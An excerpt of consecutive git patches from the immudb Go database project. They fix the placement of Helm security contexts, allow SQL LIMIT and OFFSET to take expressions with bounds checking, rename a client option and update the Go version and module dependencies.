:= &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), From 8de1467d8caaa1de86eeb9f0ba8388ab6d7e163d Mon Sep 17 00:00:00 2001 From: Georg Wechslberger Date: Sat, 1 Oct 2022 00:22:01 +0200 Subject: [PATCH 0332/1062] fix(helm): set securityContext and podSecurityContext at correct location --- helm/templates/statefulset.yaml | 4 +--- helm/values.yaml | 7 ++----- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/helm/templates/statefulset.yaml b/helm/templates/statefulset.yaml index fc038c69e5..9e47a8a82d 100644 --- a/helm/templates/statefulset.yaml +++ b/helm/templates/statefulset.yaml @@ -32,12 +32,10 @@ spec: - name: immudb-storage persistentVolumeClaim: claimName: {{ include "immudb.fullname" . }} - securityContext: - {{- toYaml .Values.securityContext | nindent 8 }} containers: - name: {{ .Chart.Name }} securityContext: - {{- toYaml .Values.podSecurityContext | nindent 12 }} + {{- toYaml .Values.securityContext | nindent 12 }} image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" imagePullPolicy: {{ .Values.image.pullPolicy }} ports: diff --git a/helm/values.yaml b/helm/values.yaml index 3a1683183f..2f62b8ce53 100644 --- a/helm/values.yaml +++ b/helm/values.yaml @@ -20,17 +20,14 @@ adminPassword: "" podAnnotations: {} -podSecurityContext: {} - # fsGroup: 2000 - -securityContext: +podSecurityContext: runAsNonRoot: true runAsUser: 3322 runAsGroup: 3322 fsGroup: 3322 fsGroupChangePolicy: "OnRootMismatch" -podSecurityContext: +securityContext: readOnlyRootFilesystem: true capabilities: drop: From 99b95800194382d844c128128b742e59ef95ed19 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Mar 2023 11:02:45 -0300 Subject: [PATCH 0333/1062] feat(embedded/sql): limit and offset as expressions Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 7 +- embedded/sql/parser_test.go | 6 +- embedded/sql/sql_grammar.y | 19 ++--- embedded/sql/sql_parser.go | 136 ++++++++++++++++++------------------ embedded/sql/stmt.go | 63 ++++++++++++----- 5 files changed, 132 insertions(+), 99 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 4a7f38936c..66e4a73c11 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -176,7 +176,12 @@ func TestTimestampType(t *testing.T) { _, err := engine.InferParameters(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < 1 + NOW()") require.ErrorIs(t, err, ErrInvalidTypes) - r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT 1", nil) + params := map[string]interface{}{ + "limit": 1, + "offset": 0, + } + + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT @limit+0 OFFSET @offset", params) require.NoError(t, err) defer r.Close() diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index b678673eb8..249cb32c71 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1083,10 +1083,10 @@ func TestSelectStmt(t *testing.T) { &ColSelector{col: "col2", as: "title"}, }, ds: &tableRef{table: "table2"}, - limit: 100, - offset: 1, + limit: &Number{val: 100}, + offset: &Number{val: 1}, }, - limit: 10, + limit: &Number{val: 10}, }}, expectedError: nil, }, diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index e7dcaeeac4..df7ef663d4 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -126,7 +126,8 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type exp opt_where opt_having boundexp %type binExp %type opt_groupby -%type opt_limit opt_offset opt_max_len +%type opt_limit opt_offset +%type opt_max_len %type opt_as %type ordcols opt_orderby %type opt_ord @@ -261,12 +262,12 @@ dmlstmt: | DELETE FROM tableRef opt_where opt_indexon opt_limit opt_offset { - $$ = &DeleteFromStmt{tableRef: $3, where: $4, indexOn: $5, limit: int($6), offset: int($7)} + $$ = &DeleteFromStmt{tableRef: $3, where: $4, indexOn: $5, limit: $6, offset: $7} } | UPDATE tableRef SET updates opt_where opt_indexon opt_limit opt_offset { - $$ = &UpdateStmt{tableRef: $2, updates: $4, where: $5, indexOn: $6, limit: int($7), offset: int($8)} + $$ = &UpdateStmt{tableRef: $2, updates: $4, where: $5, indexOn: $6, limit: $7, offset: $8} } opt_on_conflict: @@ -497,8 +498,8 @@ select_stmt: SELECT opt_distinct opt_selectors FROM ds opt_indexon opt_joins opt groupBy: $9, having: $10, orderBy: $11, - limit: int($12), - offset: int($13), + limit: $12, + offset: $13, } } @@ -714,20 +715,20 @@ opt_having: opt_limit: { - $$ = 0 + $$ = nil } | - LIMIT NUMBER + LIMIT exp { $$ = $2 } opt_offset: { - $$ = 0 + $$ = nil } | - OFFSET NUMBER + OFFSET exp { $$ = $2 } diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 7558fae6cc..2b4f905a41 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -259,75 +259,75 @@ var yyAct = [...]int{ 111, 108, 129, 90, 86, 88, 89, 96, 95, 20, 91, 109, 82, 83, 84, 85, 61, 62, 248, 140, 77, 291, 62, 61, 98, 81, 137, 285, 57, 123, - 235, 152, 147, 151, 254, 141, 121, 122, 159, 160, - 161, 162, 163, 164, 203, 149, 255, 117, 118, 120, - 119, 171, 174, 193, 170, 123, 178, 142, 104, 62, - 210, 228, 194, 201, 185, 61, 183, 62, 169, 186, - 175, 123, 136, 117, 118, 120, 119, 230, 121, 122, - 143, 189, 107, 190, 187, 184, 188, 195, 198, 117, - 118, 120, 119, 206, 76, 27, 28, 78, 217, 106, - 101, 90, 86, 88, 89, 220, 254, 212, 91, 123, - 82, 83, 84, 85, 61, 176, 121, 122, 77, 156, - 174, 218, 158, 81, 229, 123, 225, 117, 118, 120, - 119, 221, 153, 122, 71, 123, 227, 150, 239, 226, - 112, 65, 234, 117, 118, 120, 119, 63, 241, 240, - 34, 156, 49, 243, 174, 120, 119, 44, 264, 26, - 247, 197, 166, 263, 123, 256, 110, 246, 257, 165, - 40, 147, 261, 260, 167, 125, 64, 168, 55, 35, - 277, 266, 209, 92, 181, 273, 293, 294, 284, 272, - 259, 39, 278, 98, 271, 280, 10, 11, 242, 103, - 283, 32, 286, 37, 114, 115, 18, 289, 290, 287, - 282, 12, 275, 267, 295, 41, 42, 296, 7, 53, - 8, 9, 13, 14, 145, 31, 15, 16, 207, 205, - 30, 21, 18, 244, 133, 67, 132, 204, 93, 94, - 2, 33, 22, 281, 211, 113, 66, 182, 43, 29, - 139, 23, 25, 24, 19, 50, 51, 52, 70, 69, - 253, 38, 47, 48, 99, 124, 245, 262, 276, 288, + 228, 152, 147, 151, 255, 141, 121, 122, 159, 160, + 161, 162, 163, 164, 254, 149, 62, 117, 118, 120, + 119, 171, 174, 203, 170, 123, 193, 142, 178, 104, + 107, 62, 136, 201, 185, 230, 183, 61, 169, 186, + 175, 123, 194, 117, 118, 120, 119, 106, 121, 122, + 143, 189, 206, 190, 187, 184, 188, 195, 198, 117, + 118, 120, 119, 123, 254, 220, 71, 123, 27, 28, + 121, 122, 210, 101, 176, 122, 264, 212, 123, 156, + 158, 117, 118, 120, 119, 117, 118, 120, 119, 153, + 174, 218, 150, 112, 229, 65, 225, 63, 120, 119, + 235, 221, 34, 49, 44, 217, 227, 247, 239, 226, + 166, 156, 234, 197, 246, 92, 123, 165, 241, 240, + 263, 40, 167, 243, 174, 168, 110, 125, 64, 55, + 35, 277, 26, 293, 294, 256, 114, 115, 257, 209, + 181, 147, 261, 260, 284, 272, 259, 98, 271, 242, + 103, 266, 32, 37, 18, 273, 282, 275, 267, 53, + 207, 205, 278, 31, 30, 280, 21, 244, 133, 132, + 283, 204, 286, 93, 94, 281, 2, 289, 290, 287, + 211, 113, 76, 66, 295, 78, 182, 296, 39, 90, + 86, 88, 89, 10, 11, 43, 91, 38, 82, 83, + 84, 85, 61, 29, 145, 139, 77, 19, 12, 70, + 69, 81, 41, 42, 253, 7, 22, 8, 9, 13, + 14, 33, 99, 15, 16, 23, 25, 24, 124, 18, + 47, 48, 67, 245, 262, 50, 51, 52, 276, 288, 222, 258, 75, 74, 270, 216, 215, 213, 68, 46, 54, 36, 58, 56, 80, 279, 134, 154, 17, 5, 4, 3, 1, } var yyPact = [...]int{ - 272, -1000, -1000, 5, -1000, -1000, -1000, 284, -1000, -1000, - 316, 169, 314, 278, 273, 239, 160, 205, 242, -1000, - 272, -1000, 192, 192, 192, 311, -1000, 167, 334, 162, - 160, 160, 160, 263, -1000, 203, 27, -1000, -1000, 157, - 200, 151, 308, 192, -1000, -1000, 328, 20, 20, 298, - 3, 2, 228, 110, 246, -1000, 237, -1000, 60, 109, - -1000, -4, 8, -1000, 187, -5, 150, 307, -1000, 20, - 20, -1000, 118, 128, 199, -1000, 118, 118, -10, -1000, - -1000, 118, -1000, -1000, -1000, -1000, -13, -1000, -1000, -1000, - -1000, -18, -1000, 293, 291, 82, 82, 325, 118, 59, - -1000, 91, -1000, -31, 69, -1000, -1000, 147, 32, 142, - -1000, 129, -15, 132, -1000, -1000, 128, 118, 118, 118, - 118, 118, 118, 186, 197, -1000, 144, 154, 246, 48, - 118, 118, 129, 125, -23, 58, -1000, -49, 216, 310, - 128, 325, 110, 118, 325, 334, 246, 109, -16, 109, - -1000, -38, -39, -1000, 55, -1000, 71, 82, -17, 154, - 154, 183, 183, 144, 74, -1000, 178, 118, -21, -40, - -1000, 90, -42, 46, 128, -1000, 295, 276, 103, 275, - 213, 68, 306, 216, -1000, 128, 111, 109, -43, -1000, - -1000, -1000, -1000, 161, -63, -50, 82, -1000, 144, -14, - -1000, 70, -1000, 118, 87, -30, -1000, -30, -1000, 38, - -1000, -32, 213, 228, -1000, 111, 235, -1000, -1000, 109, - 288, -1000, 184, 26, -1000, -51, -45, -53, -46, 128, - -1000, 108, -1000, 118, 36, -1000, -1000, -1000, 82, -1000, - 224, -1000, -31, -1000, -32, 181, -1000, 175, -67, -1000, - -1000, -1000, -1000, -1000, -30, 256, -52, -55, 230, 222, - 325, -56, -1000, -1000, -1000, -1000, -1000, 254, -1000, -1000, - 210, 118, 77, 305, -1000, 251, 216, 221, 128, 29, - -1000, 118, -1000, 213, 77, 77, 128, -1000, 23, 215, - -1000, 77, -1000, -1000, -1000, 215, -1000, + 299, -1000, -1000, 5, -1000, -1000, -1000, 249, -1000, -1000, + 320, 172, 298, 242, 241, 220, 142, 186, 222, -1000, + 299, -1000, 173, 173, 173, 288, -1000, 144, 332, 143, + 142, 142, 142, 233, -1000, 184, 27, -1000, -1000, 137, + 182, 135, 275, 173, -1000, -1000, 309, 20, 20, 263, + 3, 2, 212, 113, 224, -1000, 218, -1000, 61, 87, + -1000, -4, 8, -1000, 177, -5, 133, 273, -1000, 20, + 20, -1000, 236, 112, 181, -1000, 236, 236, -10, -1000, + -1000, 236, -1000, -1000, -1000, -1000, -13, -1000, -1000, -1000, + -1000, -18, -1000, 256, 255, 72, 72, 310, 236, 59, + -1000, 91, -1000, -31, 71, -1000, -1000, 132, 32, 129, + -1000, 119, -15, 120, -1000, -1000, 112, 236, 236, 236, + 236, 236, 236, 164, 175, -1000, 116, 127, 224, 48, + 236, 236, 119, 114, -23, 60, -1000, -49, 202, 279, + 112, 310, 113, 236, 310, 332, 224, 87, -16, 87, + -1000, -38, -39, -1000, 58, -1000, 81, 72, -17, 127, + 127, 165, 165, 116, 74, -1000, 160, 236, -21, -40, + -1000, 90, -42, 55, 112, -1000, 259, 238, 92, 237, + 200, 236, 272, 202, -1000, 112, 148, 87, -43, -1000, + -1000, -1000, -1000, 151, -63, -50, 72, -1000, 116, -14, + -1000, 39, -1000, 236, 75, -30, -1000, -30, -1000, 236, + 112, -32, 200, 212, -1000, 148, 216, -1000, -1000, 87, + 252, -1000, 161, 26, -1000, -51, -45, -53, -46, 112, + -1000, 96, -1000, 236, 46, 112, -1000, -1000, 72, -1000, + 210, -1000, -31, -1000, -32, 168, -1000, 123, -67, -1000, + -1000, -1000, -1000, -1000, -30, 231, -52, -55, 214, 208, + 310, -56, -1000, -1000, -1000, -1000, -1000, 229, -1000, -1000, + 191, 236, 56, 267, -1000, 227, 202, 207, 112, 29, + -1000, 236, -1000, 200, 56, 56, 112, -1000, 23, 192, + -1000, 56, -1000, -1000, -1000, 192, -1000, } var yyPgo = [...]int{ - 0, 372, 320, 371, 370, 369, 19, 368, 367, 17, + 0, 372, 286, 371, 370, 369, 19, 368, 367, 17, 9, 7, 366, 365, 14, 6, 16, 11, 364, 8, - 20, 363, 362, 2, 361, 360, 10, 304, 18, 359, - 358, 214, 357, 12, 356, 355, 0, 15, 354, 353, + 20, 363, 362, 2, 361, 360, 10, 314, 18, 359, + 358, 176, 357, 12, 356, 355, 0, 15, 354, 353, 352, 351, 3, 5, 350, 13, 349, 348, 1, 4, - 271, 347, 346, 345, 22, 344, 340, 334, + 298, 344, 343, 338, 22, 332, 324, 317, } var yyR1 = [...]int{ @@ -388,9 +388,9 @@ var yyChk = [...]int{ -42, 48, 17, -49, -54, -36, -49, -28, -6, -45, -45, 86, 86, 78, 71, -10, 85, 63, -36, 85, 86, 53, 86, 78, 22, 33, 70, 33, -43, 49, - 72, 18, -42, -32, -33, -34, -35, 67, -45, 86, + -36, 18, -42, -32, -33, -34, -35, 67, -45, 86, 24, -9, -44, 87, 86, -10, -6, -16, 71, -36, - 70, -14, -15, 85, -14, 72, -11, 70, 85, -43, + 70, -14, -15, 85, -14, -36, -11, 70, 85, -43, -37, -33, 43, -45, 25, -52, 63, 56, 72, 86, 86, 86, 86, -56, 78, 18, -17, -10, -41, 46, -26, -11, -51, 62, 63, 88, -15, 37, 86, 86, @@ -913,12 +913,12 @@ yydefault: case 28: yyDollar = yyS[yypt-7 : yypt+1] { - yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: int(yyDollar[6].number), offset: int(yyDollar[7].number)} + yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } case 29: yyDollar = yyS[yypt-8 : yypt+1] { - yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: int(yyDollar[7].number), offset: int(yyDollar[8].number)} + yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } case 30: yyDollar = yyS[yypt-0 : yypt+1] @@ -1137,8 +1137,8 @@ yydefault: groupBy: yyDollar[9].cols, having: yyDollar[10].exp, orderBy: yyDollar[11].ordcols, - limit: int(yyDollar[12].number), - offset: int(yyDollar[13].number), + limit: yyDollar[12].exp, + offset: yyDollar[13].exp, } } case 71: @@ -1344,22 +1344,22 @@ yydefault: case 110: yyDollar = yyS[yypt-0 : yypt+1] { - yyVAL.number = 0 + yyVAL.exp = nil } case 111: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.number = yyDollar[2].number + yyVAL.exp = yyDollar[2].exp } case 112: yyDollar = yyS[yypt-0 : yypt+1] { - yyVAL.number = 0 + yyVAL.exp = nil } case 113: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.number = yyDollar[2].number + yyVAL.exp = yyDollar[2].exp } case 114: yyDollar = yyS[yypt-0 : yypt+1] diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 9b7ebcb97e..35a89db732 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -22,6 +22,7 @@ import ( "encoding/binary" "errors" "fmt" + "math" "regexp" "strings" "time" @@ -984,8 +985,8 @@ type UpdateStmt struct { where ValueExp updates []*colUpdate indexOn []string - limit int - offset int + limit ValueExp + offset ValueExp } type colUpdate struct { @@ -1152,8 +1153,8 @@ type DeleteFromStmt struct { tableRef *tableRef where ValueExp indexOn []string - limit int - offset int + limit ValueExp + offset ValueExp } func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { @@ -2087,20 +2088,12 @@ type SelectStmt struct { where ValueExp groupBy []*ColSelector having ValueExp - limit int - offset int + limit ValueExp + offset ValueExp orderBy []*OrdCol as string } -func (stmt *SelectStmt) Limit() int { - return stmt.limit -} - -func (stmt *SelectStmt) Offset() int { - return stmt.offset -} - func (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { _, err := stmt.execAt(ctx, tx, nil) if err != nil { @@ -2226,17 +2219,51 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = distinctRowReader } - if stmt.offset > 0 { - rowReader = newOffsetRowReader(rowReader, stmt.offset) + if stmt.offset != nil { + offset, err := evalExpAsInt(tx, stmt.offset, params) + if err != nil { + return nil, fmt.Errorf("%w: invalid offset", err) + } + + rowReader = newOffsetRowReader(rowReader, offset) } - if stmt.limit > 0 { - rowReader = newLimitRowReader(rowReader, stmt.limit) + if stmt.limit != nil { + limit, err := evalExpAsInt(tx, stmt.limit, params) + if err != nil { + return nil, fmt.Errorf("%w: invalid limit", err) + } + + rowReader = newLimitRowReader(rowReader, limit) } return rowReader, nil } +func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, error) { + offset, err := exp.substitute(params) + if err != nil { + return 0, err + } + + texp, err := offset.reduce(tx, nil, "", "") + if err != nil { + return 0, err + } + + num, ok := texp.Value().(int64) + if !ok { + return 0, ErrInvalidValue + + } + + if num > math.MaxInt { + return 0, ErrInvalidValue + } + + return int(num), nil +} + func (stmt *SelectStmt) Alias() string { if stmt.as == "" { return stmt.ds.Alias() From c1731ccc79763f8f96bac6deecbbd414c131bd8f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Mar 2023 11:06:41 -0300 Subject: [PATCH 0334/1062] chore(embedded/sql): limit and offset boundary validation Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 35a89db732..71c03c0d7f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2257,7 +2257,7 @@ func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, } - if num > math.MaxInt { + if num > math.MaxInt32 { return 0, ErrInvalidValue } From d48cc0589827cf2306290f9536619a0d5499731d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 16 Mar 2023 11:57:11 -0300 Subject: [PATCH 0335/1062] chore(pkg/client): minor renaming in tx options Signed-off-by: Jeronimo Irazabal --- pkg/client/tx_options.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/client/tx_options.go b/pkg/client/tx_options.go index a6e6532c04..c9d27fc620 100644 --- a/pkg/client/tx_options.go +++ b/pkg/client/tx_options.go @@ -41,7 +41,7 @@ func UnsafeMVCC() TxOption { } // An existing snapshot may be reused as long as it includes the specified transaction -func SnapshotMustInclude(txID uint64) TxOption { +func SnapshotMustIncludeTxID(txID uint64) TxOption { return func(req *schema.NewTxRequest) error { req.SnapshotMustIncludeTxID = &schema.NullableUint64{Value: txID} return nil From 09801323cb547008292b0c255c9f27e79e0cc188 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 17 Mar 2023 11:52:11 +0530 Subject: [PATCH 0336/1062] fix(go.mod): bump go version to 1.17 in go.mod --- .github/workflows/pull.yml | 6 --- go.mod | 85 +++++++++++++++++++++++++++++++------- go.sum | 27 +++++++----- 3 files changed, 86 insertions(+), 32 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 7a2dfd42ea..fff506b488 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -8,12 +8,6 @@ jobs: strategy: matrix: include: - - os: ubuntu-latest - go: "1.15" - - - os: ubuntu-latest - go: "1.16" - - os: ubuntu-latest go: "1.17" diff --git a/go.mod b/go.mod index 72cf95f17d..05ad61e068 100644 --- a/go.mod +++ b/go.mod @@ -1,30 +1,19 @@ module github.com/codenotary/immudb -go 1.15 +go 1.17 require ( - github.com/Masterminds/goutils v1.1.1 // indirect - github.com/Masterminds/semver v1.5.0 // indirect - github.com/Masterminds/sprig v2.22.0+incompatible // indirect - github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 github.com/golang/protobuf v1.5.2 - github.com/google/uuid v1.3.0 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 - github.com/huandu/xstrings v1.3.2 // indirect - github.com/imdario/mergo v0.3.13 // indirect github.com/influxdata/influxdb-client-go/v2 v2.12.2 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.4.3 github.com/lib/pq v1.10.2 - github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mattn/goveralls v0.0.11 - github.com/mitchellh/copystructure v1.2.0 // indirect - github.com/mitchellh/go-wordwrap v1.0.1 // indirect - github.com/nsf/termbox-go v1.1.1 // indirect github.com/o1egl/paseto v1.0.0 github.com/olekukonko/tablewriter v0.0.5 github.com/ory/go-acc v0.2.8 @@ -34,7 +23,6 @@ require ( github.com/prometheus/common v0.32.1 github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 - github.com/pseudomuto/protokit v0.2.1 // indirect github.com/rakyll/statik v0.1.7 github.com/rogpeppe/go-internal v1.8.0 github.com/rs/xid v1.3.0 @@ -45,14 +33,79 @@ require ( github.com/stretchr/testify v1.8.0 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e - golang.org/x/net v0.0.0-20220708220712-1185a9018129 - golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d - golang.org/x/tools v0.1.5 + golang.org/x/net v0.7.0 + golang.org/x/sys v0.5.0 + golang.org/x/tools v0.1.12 google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd google.golang.org/grpc v1.46.2 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.28.0 +) + +require ( + github.com/Masterminds/goutils v1.1.1 // indirect + github.com/Masterminds/semver v1.5.0 // indirect + github.com/Masterminds/sprig v2.22.0+incompatible // indirect + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash v1.1.0 // indirect + github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/deepmap/oapi-codegen v1.8.2 // indirect + github.com/dgraph-io/ristretto v0.0.2 // indirect + github.com/envoyproxy/protoc-gen-validate v0.3.0-java // indirect + github.com/fsnotify/fsnotify v1.5.4 // indirect + github.com/ghodss/yaml v1.0.0 // indirect + github.com/gogo/protobuf v1.3.2 // indirect + github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b // indirect + github.com/google/uuid v1.3.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/huandu/xstrings v1.3.2 // indirect + github.com/imdario/mergo v0.3.13 // indirect + github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect + github.com/jackc/chunkreader/v2 v2.0.1 // indirect + github.com/jackc/pgconn v1.12.1 // indirect + github.com/jackc/pgio v1.0.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgproto3/v2 v2.3.0 // indirect + github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect + github.com/jackc/pgtype v1.11.0 // indirect + github.com/magiconair/properties v1.8.6 // indirect + github.com/mattn/go-colorable v0.1.12 // indirect + github.com/mattn/go-isatty v0.0.14 // indirect + github.com/mattn/go-runewidth v0.0.13 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect + github.com/mitchellh/copystructure v1.2.0 // indirect + github.com/mitchellh/go-wordwrap v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/mitchellh/reflectwalk v1.0.2 // indirect + github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 // indirect + github.com/nsf/termbox-go v1.1.1 // indirect + github.com/ory/viper v1.7.5 // indirect + github.com/pborman/uuid v1.2.0 // indirect + github.com/pelletier/go-toml v1.9.5 // indirect + github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/pseudomuto/protokit v0.2.1 // indirect + github.com/rivo/uniseg v0.2.0 // indirect + github.com/russross/blackfriday/v2 v2.0.1 // indirect + github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect + github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/subosito/gotenv v1.3.0 // indirect + golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect + golang.org/x/term v0.5.0 // indirect + golang.org/x/text v0.7.0 // indirect gopkg.in/ini.v1 v1.66.6 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect ) replace github.com/takama/daemon v0.12.0 => github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 diff --git a/go.sum b/go.sum index 357abdf2e2..45d752e9ae 100644 --- a/go.sum +++ b/go.sum @@ -60,7 +60,6 @@ github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy86 github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww= github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= -github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc= github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZCSYp4Z0m2dk6cEM60= @@ -660,6 +659,7 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= @@ -709,6 +709,7 @@ golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e 